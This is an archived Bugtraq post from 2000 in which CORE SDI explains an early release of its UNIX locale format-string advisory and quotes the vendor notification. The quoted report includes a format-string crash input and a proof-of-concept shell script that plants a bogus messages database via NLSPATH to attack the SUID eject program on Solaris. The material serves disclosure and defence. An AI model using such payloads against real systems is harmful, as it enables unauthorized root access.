Bugtraq mailing list archives
FOLLOUP: UNIX locale vulnerability
From: Iván Arce <core.lists.bugtraq () CORE-SDI COM>
Date: Mon, 4 Sep 2000 23:54:49 -0300
This email is an attempt to clarify the process followed by CORE to the release of the 'UNIX locale format string vulnerability' report published earlier today. Im addressing this because i feel necessary to explain why the report for a high risk multivendor problem was published when there are no known fixes for many of the operating systems involved. The problem was originally found on Solaris 2.7, we developed proof of concept code and included it on our report. We also noticed that this was very likely to be present on all UNIX operating systems and therefore planned on contacting all vendors and coordinating the release of information with them and a third party (Securityfocus vulnhelp team). This was also decided because we realized that providing a vendor fix to the problem was the only real solution. Its not evident to us a feasible workaround for it. On August 22nd, 2000 i sent a report (attached below) to all UNIX vendors believed vulnerable: Linux: RedHat, Debian, Conectiva, Mandrake, Inmunix Sun, SCO, Compaq, SGI, IBM, HP, NetBSD, FreeBSD and OpenBSD Previously, and in coordination with the Vulnerability Help Team at SecurityFocus.com i had collected email addresses and PGP keys for the security contacts at each vendor, this proved to be somewhat time consuming but eventually i managed to get proper information for all of the above. The report was answered almost immediately by FreeBSD (08/22), OpenBSD (08/22) and Conectiva Linux (08/23).FreeBSD and OpenBSD reported that they were not vulnerable. Conectiva Linux took the time to research the issue and reply stating that although. bad coding practices in several SUID programs made them vulnerable, checks in GLIBC prevented exploitation of the problem. Furthermore, we discussed the possibilities of exploiting the problem remotely through telnet environment passing options. It was determined that it was no possible to do so. Our advisory reflects this discussion. Auto replies were received from SGI and HP (08/22) Personal replies acknowledging receipt of the report were received from Compaq (08/22) and later SGI (08/23). On August 28th, i sent an email to Sun, SCO and IBM (from which i i had not received replies at that moment) asking if they received the report and what was the status. Personal replies (not automated) were received from the three vendors: IBM (08/28), SCO (08/28) and Sun (08/29). I have not received any communication from HP or any Linux vendor (except Conectiva Linux) since Aug. 22nd. I intended to go through the same process today, mailing all vendors and asking for a bit of detail on OS versions vulnerable and estimated date for fix releases, this seemed the right thing to do considering that the original schedule for our advisory was Sept 11th (next monday). But before i did that i directed my attention to the bugtraq mailing list and found out security advisories and updates from RedHat, Debian and Conectiva Linux. In them, one of the reported problems is effectively the same we report in our advisory. They are, however, GLIBC specific, and fail to note that the same problem might be (and in fact is) present in other UNIX operating systems. I realized that the whole coordinated release of information with the vendors had been blown to pieces. Given that its a matter of minutes to realize that the problem is present in other UNIX OSes, that the format string bugs are the new trend and that writing an exploit is really not very hard, i decided that it was best to just publish our advisory and warn ALL unix users that they might be (and some ARE) vulnerable. I notified the pending vendors (SGI, SCO, Sun, IBM and Compaq) and sent the advisory out to bugtraq. -ivan PS: Below is the original problem report sent on Aug. 22nd --- Vendor, The following mailing mail is a pre-release vendor notification of a security vulnerability we believe may be present in your software. This pre-release is being coordinated by the Vulnerability Help Team at SecurityFocus.com. This team works in conjunction with Bugtraq posters to attempt to notify vendors and work towards solutions before posting advisories. For more information on policy specifics for the Vulnerability Help Team please mail vulnhelp () securityfocus com our PGP Key should be included in this message. Also, please note all responses to the discoverer of this problem <iarce () core-sdi com> should also be CC'd to vulnhelp () securityfocus com. Overview and Timeline ~~~~~~~~~~~~~~~~~~~~~ The following problem is a format string vulnerability which is believed to be present in any UNIX or UNIX like system which use the locale subsystem and allow users to specify a custom locale database. We are certain at this stage that Solaris 2.x, 7 & 8 are vulnerable to this problem and have working code to prove this point. We suspect that most commercial UNIXes suffer from this problem as well. Linux distributions using recent versions of glibc appear to be not vulnerable to the problem, we are nonetheless notifying the Linux vendors to confirm this information. Given that this is derived of a very popular problem at the moment (format string vulnerabilities) we suspect that this vulnerability will be discovered in the wild in the near future. Given this the case we have set a release date for an advisory on this topic on September 11th, 2000. We would like to work with you in that time period in order to represent your OS properly in our advisory. We look forward to hearing from you as soon as possible. Vulnerability Description ~~~~~~~~~~~~~~~~~~~~~~~~~ Many UNIX operating systems provide multilingual support in the fashion of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrive and generally manage that information. In particular a database with messages used by almost all the operating system programs is keep for each supported language. The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions. Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the serach key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the gettext() functions that gets feed to the printf(3) functions. Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems. Impact ~~~~~~ Local execution of arbitrary code as a privileged user (root) Technical details ~~~~~~~~~~~~~~~~~ Passing unchecked user supplied data as a format string to the printf(3) functions can lead to unexpected changes of flow control and execution of arbitrary code in context of the vulnerable program. The following C program exemplifies the problem described: -----sample.c----- void main(int argc, char **argv) { /* This is proper use */ printf("%s\n",argv[1]); /* This is bad use */ printf(argv[1]); printf("\n"); } ------------------ In the above example if argv[1] is a string with characters intepreted by printf(3) as formating characters, the behavior of the program can be altered to execute arbitrary code in a way _similar_ to the explotation of buffer overflow vulnerabilities: $ cc -o sample sample.c $ ./sample hello hello hello $ ./sample %x%x%x%x%x%n%n%n%n%n%n%n%n%n %x%x%x%x%x%n%n%n%n%n%n%n%n%n Memory fault (core dumped) $ Recent posts to computer security lists and related publications provide good reference material to understand the problem and possible ways to exploit it. It has been found that most programs in many popular operating systems suffer from this problem derived from the way the messages database of the locale subsystem is used. In particular, privileged programs (programs with the SUID bit set) that execirse access to the database using the gettext(3) function in a vulnerable manner are directly exploitable and allow an attacker to obtain root privileges instantly. The following code exemplifies a common bad coding practice that makes the cited programs vulnerable: main(int argc, char **argv) { if(argc > 1) { printf(gettext("usage: %s filename\n"),argv[0]); exit(0); } printf("normal execution proceeds...\n"); } Here the output of the gettext(3) function is not validated and passed directly to printf(3). gettext(3) searches the messages database for a message that matches the key "usage: %s filename\n" in the current locale settings and returns it to the caller. A malicious, unpriviledged, user can build and install a bogus messages database and instruct the vulnerable program to use it, thus controlling the output of gettext() and force-feeding fomatting characters to printf(3). The problem above is NOT related to the user input to the program but instead to the data contained in the messages database. The following commands demostrates the problem: $ uname -a SunOS maula 5.7 Generic_106541-02 sun4m sparc SUNW,SPARCstation-5 $ ls -l $ ls -l /usr/bin/eject -r-sr-xr-x 1 root bin 14352 Oct 6 1998 /usr/bin/eject $ eject -x`perl -e 'print "ABCDEF". "A"x507` eject: illegal option -- x usage: eject [-fndq] [name | nickname] options: -f force eject -n show nicknames -d show default device -q query for media present -p do not call eject_popup $ cat >doit.sh #!/bin/ksh export NLSPATH=:`pwd` echo domain \"messages\" > messages.po echo msgid \""usage: %s [-fndq] [name | nickname]\\\n"\"
messages.po
echo msgstr \"`perl -e 'print "%x"x112 . "%n"'`\" >> messages.po msgfmt messages.po cp messages.mo SUNW_OST_OSCMD cp messages.mo SUNW_OST_OSLIB exec eject -x`perl -e 'print "ABCDEF" . "A"x507'` ^D $ ./doit.sh eject: illegal option -- x effffba47efefeff1ff00ef735a38effffba4000447ef7fca782effffac4129642326c 00effffa60115083effffac44effffad05effffb2c002effffac4effffad02300000000000000000 0000002effffba4effffbaa0effffdaeeffffdbfeffffdd5effffdf1effffdf8effffe10effffe2e effffe9aeffffebeeffffed0effffedeeffffef2efffff0befffff20efffff33efffff42efffff5a efffff72efffff7defffff94efffff9defffffaf07d8efffffd67deefffffea3100344205591142c 7ef7d000080610007d007d13ee7d217d317d9300656a656374002d78Segmentation Fault $ exit As shown, the SUID program 'eject' follows the user directives to use a custom (bogus) messages database. The specific ways to do it vary in different operating systems but usually involves the usage of environment variables (NLSPATH,LC_MESSAGES,LANG,etc.) and/or locale library functions (textdomain(3), bindtextdomain(3),etc.) The problem however steems from bad coding practices in the operating system's programs: - A SUID program should not follow the users directives of what database it should use, locale databases should be taken from a secure trusted directory. (This seems to be the approach in Linux distributions with recent versions of glibc) - Output of gettext(3) should not be passed as a format string directly to printf(3) functions. Additional information ~~~~~~~~~~~~~~~~~~~~~~ This vulnerability was discovered by Ivan Arce of CORE SDI S.A., Buenos Aires, Argentina. PGP Keys ~~~~~~~~~ Ivan Arce <iarce () core-sdi com> ------BEGIN PGP PUBLIC KEY BLOCK----- Version: PGP 6.0 mQGiBDb0OIARBADj6gZ8H9SMkVPCnQNcGhMy8E5cUQCxJV8nxPL2RVJEWmQQPXwG uMUXEgX8HzofqQbWC7XkZEi+zsVA1QZAuRLpz8C6Yd8/3SA+XZi/QwzYCjhMNFNR ZYjyWoCsOdoRAihL24La4r+XO3+F5CIJNjNPg5F6L2MfBPTsDJEoRYbiMwCg/0In Avk/eFy/C9NaqN1c0GeUyXkEAMoCMjBFTBFbCcfq1yOFjJLTnCTZNsInQfOF8vUc K8901ahX8vSSIiqh61yRW31OM0wyZ+FD4hR9wSzxwihKSDqsR0FKJhU/OUBvGyAM YnTDy3SEg+wBdiWbrSrJscNj4ER6i9LEnLtQEExOv5iSllNROoFTnKmLuuXjtPUT YlNIA/94D4ThfhXJzEDZeNzT7oKJ+RudxWjqUSiEt1/LJSrCVf8Tc4iBTYUmjfSx qpsT8oDZ/pfhmAPntMaX+hPlWsbOyRHTdwNrIxvtkZk3MP9mzdk8x4ThjYkMevzG wmXmIlzsjMACONCZcDV8qXmFKDiLOFkdKPqHYfHEsnxBkOCEU7QdSXZhbiBBcmNl IDxpdmFuQGNvcmUtc2RpLmNvbT6JAEsEEBECAAsFAjb0OIAECwMCAQAKCRAge+eO KtH2WolzAJ9eCov3JGlH5Oov+8TXw8PxwQOwMgCfQ1IcbGRYDeSKdQTythqRQNYW qwWJAEYEEBECAAYFAjcY52YACgkQDENy1gaccvyqVACgs9RnijfMmbLztT8qDhV1 WWv+0NwAn2UvqBcnebbQ2i5tlj2dnUxNuRFAtCJJdmFuIEFyY2UgPEl2YW5fQXJj ZUBjb3JlLXNkaS5jb20+iQBLBBARAgALBQI3cbFDBAsDAgEACgkQIHvnjirR9lpJ 6ACfV90/WHpdu4B4cuCeAZiNj/oLLhIAoMWEgPUSEZwr+jyfzPicYUOCZ2AcuQIN BDb0OIAQCAD2Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4INoBp1ajFOmPQFXz 0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3bzpnhV5JZzf24rnRP xfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9GAFgr5fSI/VhOSdvN ILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67VYy4XTjTNP18F1dD ox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMI PWakXUGfnHy9iUsiGSa6q6Jew1XpMgs7AAICB/9iGiguxVbNJuFN9u0qsdO+DNFv EPullA+xpyedYVkRg7mcYEXpjMpDpazUC0uAUVCSbAQBBgwN762oricHkAkE6QIe jk7gpUV7TjWr6lKH92rPgPzcfDNh8m/YlORM6rxC6B6nMsu8zLQkV9kfYrjWBmKM Pn7G/goqvpdv0jcg/itXyTaTziebK/Z26bI7JGim6R9ZNcifRbMJ9D4jUr0AmUGc Tx7Olv5RmMXg6bPCBmYXHTkMXEYWxikoicO0IL9hWiTy36tbTADqxBb4kGtVGIKb IIX6p+w1CaG4jiuvSenNiTcHJ9qEGGTGJ5VqEfopzo2RakNj95gIdPB4oUCBiQBG BBgRAgAGBQI29DiAAAoJECB7544q0fZalPQAoK8k7mS7XhQj4Q7t8aRydyBHZdiF AJ9OBwCDicFejClIfXJr8+uP5zbl3A== =Vz9U -----END PGP PUBLIC KEY BLOCK----- Vulnerability Help Team at SecurityFocus.com <vulnhelp () securityfocus com> -----BEGIN PGP PUBLIC KEY BLOCK----- Version: PGPfreeware 6.5.3 for non-commercial use <http://www.pgp.com> mQENAzmdZdsAAAEIAMY6K6rr5xq7unmUYkdHDtme/XhesKrS4hXFZJAFT325Lsix RXf+Zej+Buyqg2yiTll5EqRyHIqB1RKMgIn5yQmHHNcV7z3sG/Go+LZ9/HLHxbi2 sL9Poew6BV1fM26DswjaTDOCJ2JVZMOZHYNoMpXKRtFw38ZfBn7Bd4L+F6ipOYSu 0Mdb3PYU7GeGG2kYLJa4lw5/5PoOC25Q2+VOQQzvxuzSvtJldM9MMam480LCSJK/ 8e51Bgh/Xo9axhu+lwV01sVQLkDbpJo1L3xT8vawvF3j41pD1+5/MZL9lKLEUyCZ 25vhfs2c83T1tvY6zanpd6scNFyUXXmlnNm+btUABRG0QlNlY3VyaXR5Rm9jdXMg VnVsbmVyYWJpbGl0eSBIZWxwIFRlYW0gPHZ1bG5oZWxwQHNlY3VyaXR5Zm9jdXMu Y29tPokBFQMFEDmdZdtdeaWc2b5u1QEBB2YH/3zDs7BxqhJgnzSQSG1H+hFFfVgN 3sVw6F8l4vVXHkFC5wABEHLhgwCb+YwM6GYW8FxSfqRS8IEtCinseVr7jNF8io3/ kbsYOY9VrLJo25TVMIElYL15wQ9PsPWMcs7/n3M0vnXSySqwSjVxKeKUm7CG3pBA EdzRKbWqlJl+EMmjKgPzQAKKMLyHTEeFmgTYVgiZTDo0GvnLHg43yDRNDRIzvweC /M+71sDh42ntNaC6kvH5oM5g9QVRO9lemaXCcsCfcA4v7lATV5YYKB3k/XTupjGp Fpu9ol3qmKMcUAe7Ki3L07VhbE+jIHb54mZYQQcTbFu7qnn30XvVO5e6ckQ= =XqTd -----END PGP PUBLIC KEY BLOCK----- Copyright Notice: ~~~~~~~~~~~~~~~~~ The contents of this advisory are copyright (c) 2000 CORE SDI S.A. and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. $Id: locale-notice-to-vendors.txt,v 1.3 2000/08/21 21:17:40 iarce Exp $ -- "Understanding. A cerebral secretion that enables one having it to know a house from a horse by the roof on the house, It's nature and laws have been exhaustively expounded by Locke, who rode a house, and Kant, who lived in a horse." - Ambrose Bierce ==================[ CORE Seguridad de la Informacion S.A. ]========= Iván Arce Presidente PGP Fingerprint: C7A8 ED85 8D7B 9ADC 6836 B25D 207B E78E 2AD1 F65A email : iarce () core-sdi com http://www.core-sdi.com Pte. Juan D. Peron 315 Piso 4 UF 17 1038 Capital Federal Buenos Aires, Argentina. Tel/Fax : +(54-11) 4331-5402 Casilla de Correos 877 (1000) Correo Central ===================================================================== --- For a personal reply use iarce () core-sdi com
Current thread:
- FOLLOUP: UNIX locale vulnerability Iván Arce (Sep 04)